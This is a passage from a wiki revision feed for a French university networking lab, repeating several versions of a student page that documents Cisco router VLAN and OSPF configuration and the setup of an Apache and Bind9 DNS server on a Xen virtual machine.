  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35349</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35349"/>
		<updated>2016-11-21T16:59:52Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35329</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35329"/>
		<updated>2016-11-21T14:44:12Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35328</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
